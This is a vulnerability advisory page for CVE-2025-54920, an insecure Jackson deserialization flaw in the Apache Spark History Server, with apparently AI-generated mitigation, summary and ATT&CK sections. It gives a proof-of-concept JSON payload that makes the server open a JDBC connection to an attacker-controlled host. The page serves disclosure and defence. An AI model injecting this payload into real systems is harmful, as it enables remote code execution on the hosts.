CVE-2025-54920
Published: 16 March 2026
Description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark…
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History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Mitigating Controls (NIST 800-53 r5)AI
Directly mitigates the vulnerability by requiring timely patching and upgrading of Apache Spark to versions 3.5.7 or 4.0.1 that fix the insecure Jackson deserialization.
Enforces least privilege to restrict write access to the Spark event logs directory, preventing attackers from injecting malicious JSON payloads.
Requires validation of event log JSON inputs to block or reject malformed payloads exploiting polymorphic deserialization of SparkListenerEvent objects.
Security SummaryAI
CVE-2025-54920 is a code execution vulnerability in the Spark History Web UI of Apache Spark versions before 3.5.7 and 4.0.1. It stems from overly permissive Jackson polymorphic deserialization of event log data using @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects. This allows attackers to specify arbitrary class names in event JSON, leading to instantiation of unintended classes during deserialization by the Spark History Server.
An attacker with write access to the Spark event logs directory can exploit this by injecting crafted JSON payloads into event log files. When the Spark History Server starts up or loads these logs, it deserializes the malicious content, enabling actions such as forcing a JDBC connection to an attacker-controlled server via classes like org.apache.hive.jdbc.HiveConnection. This results in arbitrary code execution on the host running the History Server, with a CVSS score of 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) and association to CWE-502.
Apache Spark advisories recommend upgrading to version 3.5.7 or 4.0.1 and above to mitigate the issue, as these versions address the deserialization flaw. Relevant patches and discussions are detailed in GitHub pull requests #51312 and #51323, JIRA ticket SPARK-52381, and announcements on Apache mailing lists and oss-security.
Details
- CWE(s)
Affected Products
MITRE ATT&CK Enterprise TechniquesAI
Why these techniques?
Vulnerability enables arbitrary RCE via deserialization in Spark History Web UI/server when loading event logs, directly facilitating exploitation of public-facing web application (T1190), remote services (T1210), server software components (T1505), and privilege escalation from low-priv access (T1068).